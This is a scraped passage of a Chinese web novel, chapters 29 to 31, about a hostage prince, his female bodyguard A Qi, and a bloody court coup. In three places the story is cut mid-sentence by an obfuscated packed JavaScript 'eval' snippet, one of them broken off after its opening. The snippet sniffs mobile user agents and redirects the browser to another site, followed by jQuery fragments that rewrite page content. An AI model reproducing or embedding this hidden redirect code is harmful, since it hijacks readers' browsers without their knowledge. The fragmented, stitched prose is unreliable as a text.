他骤然惊醒,仍是这狭窄逼仄的山洞,仍是窸窸窣窣的百虫爬行,仍是萦绕不散的潮气、腥臭味、腐烂味。 这一次,再没有那位无瑕的圣洁仙子,携满身芙蕖花香,面带微笑站在阳光里,向着地狱中的他伸出手。 意识越来越模糊,弥留之际,一滴泪从眼角滑落,他在黑暗中伸出手,轻声呼唤:“姐姐——” 温柔得像呓语。 . “还疼吗?” 她注视着他满身的伤口和血痂,心疼地伸手触摸,在即将触到他的瞬间,所有画面烟消云散。 阿七从梦中惊醒,眼前一片漆黑, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13981238|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 空间狭小逼仄,脑袋磕磕碰碰、身下颠簸不止。像是被扔到一架马车上,马车正在坑洼不平的路面疾驰。 被反绑的双手压在背后,有些麻痹,却仍觉着疼痛,应当是马车的底板做工粗糙。 空气里有元旻的气息,醇厚的沉香、温润的雪松、清苦微甘的白檀,沁着极淡的冰片。阿七屏息听了一阵,才捕捉到一缕若有还无的呼吸声。 她不敢随便出声,借马车颠簸、扭着身子满车厢寻找,眼睛逐渐适应黑暗,终于隐隐绰绰看到他,一动不动靠在车厢尾部壁板上,双目紧闭。 回想晕倒前看到的最后一幕,她骤然紧张起来,眼眶一热,哽咽着低声唤他。 车厢内依旧静悄悄的。 阿七手足颤抖,蜷身身躯、挣扎着一点点爬过去,将头靠在他胸前。 隔着衣物传来淡淡体温,心跳虽弱,却依然节奏分明。 她紧绷的身躯缓缓放松,长长舒了一口气,不能自抑地落下两颗泪珠。 一只手围过来,轻柔却有力,将她以依靠他胸口的姿态拥入怀中。温热的指腹在黑暗中摸索着,从胳膊慢慢上移、抚过肩膀,再向上,在她脖颈上摩挲。 那只手抚过的之处,好似有羽毛在不断地蹭,柔软而轻的痒;酥酥麻麻的触觉在颈间反复,温热的呼吸从头顶吹来。 她整个人都被包裹在温暖的沉水香气息里,身躯僵住了,却不受控制地轻轻颤抖,起了层细密的汗,胸腔里那颗心想被一只大手攥住,越来越紧、越来越紧… “疼吗?”轻柔的声音从头顶传来。 她脑子一片空白,含含糊糊轻“嗯”了一声。 指腹在她伤口周围抚摸,极轻极柔,她紧闭双眸、抖得厉害,好似要窒息了。竭力深呼吸让自己平复,却感觉头顶的呼吸近了,那张脸近在咫尺,他们的气息和呼吸混在一起。 “为什么?”温热的气息拂过耳廓,声音轻的像是幻觉。 颈间摩挲的手下移,顺手臂摸索到手腕,解着反绑着她的绳子。近在咫尺的呼吸依然在靠近,又是一声极轻的耳语:“明明愿意与我同生共死,为什么还想离去?” 声音带了丝落寞:“离开我,你想去哪儿?” 呼吸吹拂着脸颊,已经隐隐感受到体温,她屏住呼吸、不知所措。 绳子终于解开。 手腕松开的瞬间,她如梦初醒,用力撑着底板借力后退,弹坐到车厢另一侧,大口喘息。 她懂了他的意思,可她觉得任何接近,都是亵渎那纤尘不染的白雪皓月。 “还没有想好,不过天高海阔,总有我愿意驻足的地方”,她一开口才发现自己嗓音也是颤抖的,所幸脑子清醒许多,“我并无背弃殿下之意,只想出去看看,除了重重宫墙、巍巍朝堂、八方军营,这世上的其他人、其他事物、其他风景。” 听元旻未出声,她又说:“我不会忘记殿下十八年的照拂,只是天下无不散的筵席,就像之前同在东宫伴读的那几位,幼时再交好的发小,长大后总要各走各的路。” “还回来吗?” “殿下若不弃,有再需要卑职效力之处,卑职定会不计生死、再效犬马之劳。” “知道了”,黑暗里元旻鼻息有些乱,似乎在笑,“此行凶险至极,如此情况以后还很多,你可要惜命。” 她笑了笑,声音轻柔而决绝:“主忧臣辱,主辱臣死,卑职既已在起云楼许下重誓,定会一直追随主上,刀山火海、誓死不渝,直到主上大业成就,不再需要我出生入死的那天。” “你难道从未想过……”元旻顿了顿,剩下的话没有说出口,又轻轻笑了几声,嗓音低沉了些,“算了,不提也罢。” 29. 奉诏勤王 九月初二上午,镇南公崔长治押解从灵昌出逃的翊国质子元旻,抵达昇阳。 押解至明德门外时,崔长治及所有亲随卸下甲兵,卫尉寺侍卫拦在宫门,将他们一一搜过身,确认手无寸铁后才放入。 走过明德门、进入宫内,元旻忽转了个方向,跨上台阶,靠着城墙一步一步走向城楼。 众侍卫大惊,纷纷拉弓满弦,但元旻并无危险举动,他们也不知该不该放,于是迟疑着、只将箭头跟随着对准元旻。 阿七一跃而起,面向侍卫,倒退着紧紧跟随元旻,张开双臂、手无寸铁替他挡住后背。 崔长治看着众侍卫,冷笑:“谋弑王室子弟者,夷三族,倒不知各位族中人头够不够砍!” 元旻已登上城楼,抓住一旁钟杵,高高扬起,敲下。 “铛——” 景阳钟声震耳欲聋、穿云裂石、响彻九霄。 此时适逢大朝会,文武众臣从大庆殿分列站出、整整齐齐一直排到丹陛之下的广场。乍一听钟声,齐齐一震回过头去,目光越过两道宫墙看向明德门。 元旻慢条斯理从城楼走下。 他今日全身缟素、衣冠胜雪,清凌凌在明德门下站定,面向大庆殿,扬声高呼:“翊太祖第二百五十七代世孙,翊昭王嫡长子元旻,拜见亡父梓宫,请叔父成全!” 语罢,振衣撩袍、双膝跪下,双臂往前伸直、两手相击,振动其身下拜,站立起来、再跪下去,如是跪了三次、叩了三叩。 起身,往里走了三步,继续扬声高呼:“翊昭王嫡长子元旻,拜见亡父梓宫,请叔父成全!” 再次振衣下拜…… 如此,扬声呼喊着,一步三叩首、三步九叩头,从明德门往大庆殿走去。 他不断跪下、叩头、站起,再跪下……阿七走在他右边,待他叩完三个头,便搀扶起他,继续往里走,继续叩首…… 磕到后来,双腿已酸痛得没有力气站立,阿七就矮身下蹲、牵过他手臂搭在自己肩上。元旻身高八尺,身躯十分沉重,她咬紧牙关强行站直身体,撑着他起身,往前走三步,再矮身下蹲放开他。 叩完三个头,撑着他起身、再跪下,跪下三次之后,再度撑着他往前走三步,继续跪下…… 她腰背和双腿颤抖着发软,额头全是汗,咬紧牙关时满口腥咸,可能是下唇被咬破了。 值守的侍卫鸦雀无声,石板铺成的白茫茫空地上,他们渺小得像两粒尘土,相濡以沫、相依为命。 众臣哗然了片刻,立即平息,将目光从明德门收回,头压得低低的,却禁不住窃窃私语,好似平静无波的湖面下无数翻涌的暗流。 殿内有人站出来,是太常寺少卿:“陛下,为父奔丧为孝,百善孝为先,不宜驳斥啊。” 无人回应,众人皆侧目看向他,好似看着个死人。 朝堂上沉默了约两刻,元旻三步九叩头,已过宣政门。 殿内一位须发花白的元氏耆老出列:“请陛下允四王子为父尽孝!” 元旻已过大庆门,接近大庆殿前丹墀,呼喊声越来越近。 约三成朝臣下拜道:“臣附议。” 太尉裴尚吉忙下跪,高呼:“四王子至孝,不如将其请入停放先王梓宫的朱明院,守孝之后再做处置?” 丞相闻希元亦颔首,出列进言:“孝乃人之大伦,君王驾崩,为国本计以天代月,应守满二十七日,就请四王子先移驾朱明院吧。” 元琤静静注视裴尚吉和闻希元,沉吟不语。 元旻跪在丹陛之下,腰杆挺直,呼喊声已有些嘶哑。 御座右侧的珠帘无风自动,四年来一直如泥胎木塑的冯太后,突然开口,声音不大却字字清晰:“我儿出质荣国,已为国尽忠,如今为父奔丧是为孝,忠义孝悌为立德之本,众卿有父母祖宗否,竟连这为人的根本也要摒弃?” 太常寺少卿再度高声奏请:“请陛下允四王子移驾朱明院,为先王守孝。” 众臣齐齐跪下:“臣附议!” 崔长治跪在螭陛之下,朗声道:“出逃质子已押运抵京,老臣身负镇南边事,请陛下准老臣即刻返回金州为国尽忠!” 元琤死死盯住他,半晌吐出个字:“允!” . 散朝之后的空地上。 “崔长治这个老狐狸”,闻希元恨恨道,“悄悄处理了就是,大庭广众送个烫手山芋回来。” 裴尚吉冷笑:“元氏宗族耆老看着呢,开国律定下的,治不了上头的那个,治个干脏活的还是容易。谁敢担这个干系,不然四年前送荣国去做什么?” 闻希元嘲讽:“你倒会说轻巧话,如今这般,且说说怎么办?” 裴尚吉好整以暇:“不是已说过么,朱明院,路上掉个石头啊,闯出个行凶匪徒啊。还有,人吃五谷杂粮哪有不生病的,四王子至孝,思念先王一病不起也是有可能的。” 闻希元恍然大悟,两眼放光:“对,弄几个无牵无挂的死士,朱明院挨着东边宫墙却不在宫禁,是羽林卫的职责范围…” 眼神瞬间阴狠:“他崔长治不是想撇清干系么?倒忘了亲兄弟还在羽林卫,他崔家想推都推不掉。” 裴尚吉无言以对,闻姓以读书入仕、在朝多为文官,崔姓以武立身、手握数十万大军,在五姓之中都威望颇高,却谁都不服谁。一个嗤笑对方百无一用是书生,一个嘲讽对方是土包子兵鲁子,两族水火不容好几百年。 于是转头看向另一边,二三十个侍卫正“护送”元旻向明德门走去。 裴尚吉轻笑:“他身边那个小护卫,有点意思,长得也不错。” 闻希元悻悻叹气:“他可真难杀。” 元旻额上叩得破损,沁出一团血,白袍膝盖处两团脏污。 他手臂搭在白衣少年的肩上,由白衣少年支撑着慢慢往外走去,双腿虚晃、步履踉跄。那少年身量颀长、眉眼俊秀、薄唇紧抿,乌发上别着一支彩玉簪,簪尾一簇紫色木槿隐隐绰绰。 侍卫将他们围住,跟随他们的走动而移动着,寒光森凉的长刀齐齐对准他们。二人却始终神色淡漠、视若无睹。 突然,有一个侍卫手快,长刀往前多送了一尺,险些贴上元旻脖颈。 那少年眼神一冷,提膝翻腕,所有人只觉眼前一花,长刀已被少年抢在手中,平平挥过。 血溅满衣。 那少年抬手,缓缓拭去溅到下颌的血滴,轻描淡写道:“这位仁兄方才离我们近了些,小生不才,杀不了所有人,可若是谁离得近了,拉几个垫背还是手到擒来。” 卫尉寺侍卫大都出自世家贵门,被他这视人命如草芥的淡漠震慑,又往后退了三尺。 那少年抬眸轻笑,看向队正:“大人,此人方才谋弑王室子弟,如何处置?” 队正冷冷注视他,良久:“按律当诛,有劳公子。” 到了明德门外,一位身着重甲、年逾五旬的老将淡淡躬身:“臣御林军大将军崔久安,护送四殿下移驾朱明院。” . 马车碌碌碾过街面,阿七轻轻说了声“冒犯”,掀开覆在膝上的亵裤,倒吸一口凉气。 两膝各一块巴掌大的淤青,正中心有些破了皮,呈深紫色,对外逐渐晕成青色、青黄色。阿七从车上找到一瓶伤药,挑出些药膏化开在手心,轻轻覆盖膝上血淤,慢慢揉搓。 她素白纤长的手在他膝上小心摩挲,那双手并不细腻,因常年练武生了薄薄的茧,却带来些恰到好处的力道和触感。他静静看着,不禁敛声屏息、纹丝不动,生怕打扰了她。 “从明德门到朱明院有半个时辰,看看车上有没有吃的”,元旻背过身去整理自己衣袍,提醒她,“这几天会有各种方式的暗杀,羽林卫不一定防的住,能吃就吃饱,再藏些吃食和水,尽量少进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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一众身着劲装布衣的兵士齐齐看向他,无声地单膝跪下、握拳抵胸。 砖窑之外,天璇、天玑姐妹站在高处,背对烟囱,缓缓转着圈,巡视四周。 九月初六,朔宁府边户大都督率先打出“征讨逆王”的旗号,率三万轻骑越过神武关抵达临梁。 临梁侯裴世安率军拦击,却从上阳郡方向杀出三千铁骑,领头小将眉目明俊,表情冷肃:“我乃上阳边户指挥使武焕,奉都督姜大人之命,前来征讨逆贼,临梁侯可还记得四年前武家满门血仇?” 武焕身后,众武氏旧部纷纷高呼:“为老平西侯报仇!” 遂与朔宁府南北合围,大战一天一夜。 九月初七,武焕斩裴世安及十六名嫡系子侄首级,悬于阵前,又命人在城头宣读拓印的先王血诏,临梁众将皆降服,拥戴新王。 快马急报三天三夜,裴氏被杀的消息传抵昇阳。 临梁战报传抵的同一天,昇阳以南仅两百里的许都,郡丞王元清率亲兵杀郡尉闻才良,高呼“逆王元琤扣押正统元旻,奉召勤王”,率一万步兵北上。 元琤震悚,往各州郡连发九道勤王诏书。 昇阳以东三百里,睢阳郡尉立即率兵驰援,却兵马尚未出城就被嵇方、济阴两郡率军南北夹击,困于城内。 是夜,三郡郡尉夙夜长谈。次日,睢阳郡尉以攀附逆王罪杀郡丞、主簿、司库。自此,睢阳、嵇方、济阴合兵,在昇阳以东三百里拉出一条长约五百里的防线。 勤王诏书发出当日,许都以南,隐阳、天中、弋阳三郡突发内乱,那些出身寒门的知事、主簿、都头、狱目、驿丞纷纷起事,领着最底层的兵卒、庶民、囚犯杀入郡丞府、郡尉府、司库,将经由此三郡的勤王诏书一一截获、烧成灰烬。 九月十二,燕州刺史常思远奉召南下,南行不到三百里,便被洺州刺史姜娥拦截。酣战半日,姜娥斩常氏嫡系子弟二十九人首级,阵前宣读先王血诏,燕州众兵无不慑服。 宣氏轻骑大战临梁后去势不减,转头往东,九月十三已占据伊河以北怀阳,与洛京、商都隔河相望。怀阳拥有渡伊河南下的最大渡口,宣氏此举,将勤逆王的南下骑兵挡在伊河之北。 而在更南的南方…… 30. 风起云涌 自八月元旻在西陵从长流川进入夏河时,樊州水师已开始整兵备战,只待收到元琤发下的勤王诏书,立即坚壁清野、设下埋伏,凡有水师北上解救逆王,立即万箭齐发。 素有五省通衢之称的龙城,九月十三清晨,自西北向东南的官道上,三匹驿马风驰电掣,一路高呼“昇阳急报,都闪开”。忽听一声嘶吼,人仰马翻,偌大一条绊马索弹出路面。 信使惊愕抬头,只见一名女将身披金甲,率数百人一字排开截断官道,横刀立马,与他们静静对峙。 龙城另一侧官道上,寒光一闪,驿马之上头颅和热血冲天而起,马还因为惯性继续往前跑了一段。天枢一把揪住头颅踢开,问身边下属:“天权和开阳那两个方向如何了?”。 晨雾之中,女将跳下枣红马,对天枢抱拳:“苦守多日,应是最后送出的信了,多谢将军相助。” 天枢抱拳,沉声回道:“不敢妄称将军,不过奉陛下之令襄助司南侯,此地既已平定,我等也该护送襄侯回昇阳向陛下复命了。” 司南侯颔首,又道:“沿途已备好良驹,诸位不必心疼马匹,若不断换乘,明晨即可抵达昇阳。” . 九月初十起,元琤已派出卫尉寺控制了朱明院,崔久安也亲率羽林卫,协同卫尉寺将其团团围住。 元琤发出诏书苦等三日未得到任何回音,意识到事态严峻,九月十三彻夜未眠后,次日一早便带上一行亲卫匆匆出宫。 七尺三的金丝楠木棺,四十九遍彩漆栩栩如生绘着曲水流云、日月星辰、九对神鸟,再套一层汉白玉石椁,灌注水银保持其面目如生。 棺椁前设五献、香几、素白蒲团,元旻跪坐梓宫西侧,从阿七手中接过新鲜的剑兰放进花觚,将有些蔫的果子换成新鲜的石榴,再从旁捧起黍稷梗撒入火盆,焚香三柱插入香炉,阖目祈祝。 阿七跪在他左侧靠后的蒲团上,待他重新直起腰身,才柔声劝慰:“主上膝伤尚未痊愈,切勿过分哀痛。” 他们在此等了十二天,玉衡和摇光也在屋面守了十二天。 虽有些宵小偷袭,大抵是打不过玉衡和摇光的。即使侥幸冲进内堂,也挨不过她一鞭、一软剑、一短刀的协同绞杀。 元旻每日只对朱明院的院正提些细枝末节,诸如香炉暗旧,线香气味不够醇正,供花、水果不够新鲜等…每当院正毕恭毕敬领命出去时,阿七都仿佛听到那个老男人内心的喋喋不休的怒骂。 “父王生前最爱剑兰,爱吃石榴,我小时候还想挖了庭前那棵海棠改种石榴”,元旻凝视着香炉上三点红色火星,黯然失神,“后来才晓得,他只爱吃浮玉宫的石榴。” 阿七叹息:“先王予他们无尽荣宠,却是将自己最重视的社稷托付给了陛下。” 元旻苦笑:“所以,每每想到他,我从无怨怼,只是遗憾……从未有机会承欢膝下,从未能像百姓家的父子一般相处。” 阿七不知怎的,想到了那个将亲子抛弃三年,又在幼子五岁时将他出质别国的父亲。那被父亲随意厌恶、抛弃的幼子,如今还好么? 应该是好的,归隐山林、得享天伦。 她暗舒了一口气,默了半晌缓缓开口:“百姓之家也并非其乐融融,且不说远了,天璇、天玑姐妹被赌鬼父亲卖身花柳,玉衡的父亲抛妻弃子,好好的孩子只能流落街头、乞讨行骗为生,而开阳,更因父亲逼死自己妻子,弑父出逃……” “确是我有些无病呻吟了”,元旻先是一愣,眉间浮起诧异,转瞬又平和了,“翊国风俗,君王崩逝,梓宫停朱明院三年,归葬阳华山。可已经四年了,父王仍稽留此地。” 阿七不解他为何忽然提起这茬,却听他低声道:“来了。” “谁来了?” 元旻眼神一冷:“我二叔。” 元琤率内卫气势汹汹赶往朱明院,刚下马车就愣在原地。 □□位元氏耆老拄杖扶拐,端端正正堵在门口,元旻走上前来,对着他恭顺稽首:“请叔父允侄儿为父王扶棺,归葬阳华山。” 元氏耆老亦齐齐下跪:“人之大伦,请陛下成全。” 元琤有些胸闷,这竖子扛着“孝”的名义,全然不顾情势危急,吹毛求疵无事生非。然而碍于族老颜面,他要当这个体面君王,却不能不允准。 于是冷冷道:“如今国中叛乱四起,贤侄却好顾这些细枝末节。” 元旻微笑抬眸:“却是不知他们师出何名,若真是谋逆大罪,自有忠烈之士群起而剿之…” 元琤重重一哼:“什么先王遗诏,不过是些大逆不道的贼子伪造。贤侄当真不知?” 元旻语气真诚:“侄儿为质子时,寸步未出荣国灵昌,如今寸步不离朱明院,该知道、能知道什么?” 元琤上前一步,逼视着元旻:“莫当我不知晓,老九来灵昌几次,你们谋划勾连的那些事。” 元旻眼神茫然,扶额羞赧:“九叔倒是曾与我把酒言欢,二叔也知,他那人惯会拈花惹草,倒是撩拨得质子府好几位侍婢……” 身后一位白发婆娑的老者重重咳了声,元旻忙止住话头,又对元琤拜了一拜。 元琤一瞬不瞬注视着他,良久,哈哈大笑起来:“管你耍出个什么花来,如今你却是在我手中,届时阖城禁卫出动,却不知你手下那几十个天天蹲守房梁的近卫,该如何以一当百、当千。” “为君父扶棺归葬是大事,岂能无我这长子?”不远处传来朗声大笑,元晞一身黑袍,手无寸铁,被几名羽林卫反绑双手,押解过来。 多年不见,朔北的寒风在他脸上刻下条条沧桑,胡茬满脸,却落落大方、修长挺拔、眉目清朗,看上去格外伟岸。 元旻莫名惊愕:“大哥,你为何…” 元晞坦然走过来,与他并肩站立,笑着回他:“阿旻,四年未见,出落得这般仪表堂堂。” 元琤脸上一阵青一阵白,眼神阴郁地注视着他们,咬牙切齿:“倒是齐全,阖家团圆。” . “接到你的信,我就去找表舅长谈,他听劝了。八月底就把骑兵调到了神武关附近,还安排人在怀阳守着,只等景阳钟响”,元晞目光带了些祈求,“表舅四年前办错了事,搞得里外不是人,如今已弃暗投明。” 元旻欣然点头:“那也是我表舅,世家趋附强者是自然之理,我写信给大哥也是不愿表舅一族晚景凋敝。届时首功,该如何便是如何。” 元晞开怀大笑:“大哥就知道,你总是有成算的。” 元旻幽幽叹息:“再怎么算,咱们如今可是都陷在此处了,大哥何必巴巴地回来?” 元晞止住笑容,担忧道:“放心不下母后。” 那个把他从朔宁府接回来、待她视如己出的温婉女子,所有人都骂他贱民时仍柔声对他说“阿晞是陛下的长子,是金枝玉叶”,明明只大他七岁、却总说他是孩子,天天操心他吃饱穿暖、延请名师教导他。 后来,她有了一对亲生儿女,发动那日,他不管不顾冲到浮玉宫,挨了顿打,硬生生把父王拉到景和宫。 有了元旻和元晴后,他的生活变得更热闹了,她总是跟他说:“这是你的弟弟妹妹,是你至亲的家人。” 父王来景和宫的时间更少了,可无论如何被冷落,她也只是微笑坐在庭前,抱着尚在襁褓的元旻或是元晴,看梨花簌簌落下来,还劝慰他莫要怨怼。 那时的他,抱着另一个襁褓,已不太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她因疼痛紧蹙双眉,声音颤抖却铿锵有力:“本宫纵身死,也是堂堂正正的大翊王后,尔等祸乱犯上,必不得好死,天、地、人、神共诛之!” 元琤还在大笑,元晞已冲至殿门。 地上那只断臂、满地的鲜血令他如五雷轰顶、脑子里一片空白,忘了临行前舅父的谆谆嘱托,拔剑杀入,挡在她的前面,对着元琤怒吼:“竖子安敢冒犯王后!” . 九月十四夜,朱明院西偏厅之内,灯火通明,元晞、元旻与元氏耆老井然就座,共商先王移棺阳华山之事。另有太常寺商议礼仪章程、司天台掐算吉日,议至三更才散。 元琤在允准归葬之后,不但派卫尉寺精兵继续看守,更令崔久安加派重兵,将朱明院围得苍蝇都飞不出去。 其实他是想把元旻关回王宫的,但是那八九个族老在元氏宗亲之中威望颇高,若一并扣押,恐生更大枝节。思虑再三,也只能如此折衷。 反正朱明院周围已有卫尉近两百,羽林卫近一百,任他兄弟俩胁生双翼也飞不出这铜墙铁壁。 布署完成后,他便火急火燎回了王宫。听闻许都叛军已在昇阳城西五十里处,被牟州、商都驻军东西夹击尽数剿灭,心下稍安;又闻商都驻军已整肃好粮草渡船,预备渡河。 想着明日晨起,再多发几道勤王诏书,从洺州调些骑兵来,剿了怀阳的宣氏,再去上阳、临梁解决掉姜榷和武家几个崽子,事态可平。 “胆敢造朕的反,族灭、必须族灭,夷九族。”元琤恨恨想着,怀揣着天下雌伏于他王座之下的期冀,酣然睡去。 却不知,这一场搅弄天下的风起云涌,最激烈的部分才刚刚拉开。 31. 宫变 这条街叫敕恩街,一眼看去鳞次栉比的碧瓦飞甍、雕梁画栋,数不尽风流富贵的朱门大户。住的全是驻边将领留京的父母妻儿、老弱妇孺病残。 夜色掩盖之下,武燊带着妻儿、弟妇、子侄、母亲冯沅、武灿,一行人每人提着个小包袱,悄无声息从后门溜出。 熟门熟路避开巡视的羽林卫,逐次敲响街上另几户宅子的后门,里面收拾好简易行装的妇孺早已等待多时,一听声音便鱼贯而出,随他们一道,走向幽深夜色的更深处。 前方突然出现一盏灯,一字排开的骑兵静静伫立街面,像是已等候多时。为首的老将年逾五旬,一身重甲,在马背上俯视他们,轻笑:“诸位夫人、小郎君、小娘子,这是要去何处?” “月黑风高,世道不太平,不如让末将崔久安护送一程?” . 天心一轮凸月,清辉透过枝丫洒在青石板道上、洒在风驰电掣的白马银辔上、洒在马背上骑士扬起的黑色披风上。 开阳沉声道:“刚过雍丘,咱们离昇阳也就四五十里了,个把时辰准够。” 天枢勒住马,拉下围在口鼻上的风领:“就在此处歇息两个时辰,天刚亮就进城,襄侯以为如何?” 队列中间,元璟思忖片刻,点了点头。 在昇阳城东另一处密林中,郁郁葱葱的草高过马背,武煊从马背跃下,低声传令:“就在此地歇息,明早卯正,小朝会的景阳钟一响,咱们就开始攻城。” 王宫以北,朔方门之外的羽林卫大营正沉沦酣眠,一群黑衣人悄无声息散入营房,借月光看好沉睡者的面孔后,手起刀落、雪亮的锋刃从喉头拉过,濒死之人骤然痛醒,却只能从喉头发出模糊的“咕噜”。 . 景和宫灯火俱灭,冯姮端坐在窗前,借月光看着站在面前的母子,声音轻柔:“锦珠,趁他们还没察觉,带元旭从暗道走吧。” 郑锦珠眼眶泛红,哽咽道:“娘娘,我们走了你怎么办?” 冯姮平静笑了笑:“他们在此看守,本就是为了看住本宫,本宫在此,还能为你们母子争取一时半刻,若一并出逃,追兵立至,届时谁都走不了了。” 郑锦珠按住元旭肩膀:“阿旭,给娘娘磕头…你一定要平平安安的,等了四年,四…王上还等着与你团圆。” 冯姮垂下双目,笑意不减:“阿昙在暗道,你们带上她从暗道出去,到了后苑就找间荒废的庑房藏起来,没听到新王登基的钟声,一定不要出来。” 郑锦珠跪下,泣不成声。冯姮将他们拉起来,推向床底,那里早已凿出一条通往后苑的暗道。 眼见二人走下地道,冯姮忽清了清嗓音,红了眼圈、声音颤抖:“阿旻他打小心思就重,性格又要强,常常自苦。锦珠,往后他只有你一个长辈了,多疼疼他。” . “天快亮了,我进宫找母后去了,阿旻你自己当心些。”元晞站起来,拍了拍元旻肩膀,笑了。 屋后忽传来个清脆的声音“大殿下,我与你同去。” 元晞定睛一看,只见屏风后走出个秀美少年,已换好一身黑色劲装,全身上下无半分修饰,只髻上别了一支彩玉簪,簪尾一簇紫色木槿晕着温润光泽。 元晞又瞄了一眼那少年脖子,并无喉结,于是迟疑:“这位……公子?” 元旻还未来得及接话,门口响起两声银铃般的“公子”。从门口轻飘飘走进两名少女,她们长得颇为相似,身姿袅娜若新柳、容貌清妍中透着一股子媚,径直走到黑衣少年面前,敛衽一礼:“公子,天璇天玑回来了。” 黑衣少年看了一眼屋顶,低声唤道:“玉衡也下来。” 于是梁上又飘下一名黑衣少年,恭敬作揖:“王上,大殿下,首领。” 元晞:“……” 黑衣少年拉着玉衡和天璇天玑避到屏风后,低声在交待些什么。 元晞被一连串突然出现的人弄得一头雾水,还未回过味来,元旻忽然开口:“让他们去吧,她就是阿七,是我最……信任的人。” 一刻钟后,元晞带着阿七、宫人妆扮的天璇天玑走向朱明院正门,守在门口的侍卫齐齐长刀出鞘,吆喝着想把他们逼回去。 元晞只觉眼前一花,温热的血溅了自己满脸满身,四名侍卫已齐齐倒地、喉咙咕噜噜往外冒血。 阿七缓缓将手中短刀收回鞘中,淡淡地说:“都说了别离我太近,总有人不听劝。” 饶是见惯生死的将军,见她如此,元晞还是打了个寒噤。 蹄铁声哒哒疾驰而来,院外惊呼之声不绝于耳,满耳只听到箭矢声、刀兵出鞘声、利刃刮过人骨的摩擦声、喊到一半戛然而止的惨叫、血流声…… 快马停在院门口,一身重甲的老将翻身跃下马,趋步走过院门、走向前堂,背后传来铿然跪地声,中气十足的觐见:“臣,羽林卫指挥使崔久安,救驾来迟,请陛下恕罪。” . 卯正,景阳钟洪亮的响声如期而至。 东门外,推着攻城锥、抬着云梯的步兵一马当先,三排弓箭手与盾兵参差排列,井然有序,最后是手执长枪、腰别横刀的两千骑兵。 旌旗招展,上书硕大的“上阳”,一匹红鬃烈马从队列中奔出,马背之上的主将一身银甲,对着城头高声呼喊:“臣,上阳武煊,奉命讨逆勤王,尔等还不速速缴械,弃暗投明。” 习惯性地喊了三声,高举右手,重重落下。攻城车迫不及待轰隆隆碾向城门,步兵飞速冲到城墙下架起云梯,开始向上攀爬,身后的弓箭手拉弓引箭,时刻预备城墙上飞落的袭击。 然而,偌大东门,悄寂无声。 直等到步兵登上城墙,拉开城门,整个东门空空荡荡,竟无一羽林卫,安静得近乎诡异。 “浪费小爷的吆喝!” 武煊率两千骑兵长驱直入,一边命探子去探查是否有伏兵,一边扬鞭策马、直奔朱明院而去。 同一时刻,百官正从明德门鱼贯走向大庆殿。 元晞行至距离城门前空地尚有千步时,突然勒马止步,嘬嘴发出三声尖锐细长的唿哨。整条街的店铺齐齐轰鸣,马嘶人沸,上百匹高头大马冲倒店铺的木大门飞驰而出,马背上各有一名轻甲骑士,在他身后迅速集结为整齐三列。 他玄色的披风在晨风中拂动,高举右臂,向前、决然一挥。 数百轻骑如弩箭离弦,神挡杀神、佛挡杀佛,疾驰冲过明德门、宣政门、大庆门,而后勒马站定,腰刀出鞘,冲进正面迎来的侍卫方阵。 瑟瑟秋风吹过庭院,枯叶在梨树下纷纷扬扬,地上铺了柔柔一层金黄。 “许是要下雨了”,冯姮仰头看向天空,阳光从并不密集的乌云缝隙透出来,好似千万金色利剑,“也未必,阴晴不定。” 身边传来宫婢的请示:“娘娘,秋高天寒,不如移驾屋内?” 嗓音是她从未听过的柔媚,她不禁瞥了那宫女一眼。 另一名宫婢已扶起她,缓缓点了点头。 冯姮心头一震,忙跟随宫婢进了屋内。果然见帘幕拂动,影影绰绰现出阿七的身影,一把拉住她就往后门跑。 “娘娘跟我走,咱们往北进后苑,从朔方门出去。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13981241|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “不可将追兵引至后苑”,冯姮断然拒绝,扯回阿七,“多年情分,你可愿最后再帮本宫一次?” 阿七愣怔,心头涌起不祥预感,却依然坚定地说:“凡娘娘所求,阿七定无不从。” “锵锵锵”铁靴奔跑踏地声由远及近,转瞬之间已扩散开来,正将景和殿团团围住。 天璇天玑着急:“再不走就走不掉了。”拔剑往外杀去。 羽箭如雨,夺夺夺不绝于耳,全都钉入门口三尺之地,将她们生生逼了回来。 “朝会将始,娘娘不去大庆殿垂帘听政,却是要移驾何处?”刀戟丛林、寒光森然,一身玄铁重甲的中年男子单膝跪在阶下,声线森寒,“臣裴彦,特来护送娘娘上朝。” 阿七感觉紧握自己的那只手松了,冯姮像是长舒了口气,慢条斯理整了整衣袍,淡淡一笑,高视阔步走出殿门,朗声道:“本宫要以太后之尊,死于大庆殿之上、众臣之前。阿七,你可听清了?” 却轻抬右手,抚上左臂那截木制的义肢。 . 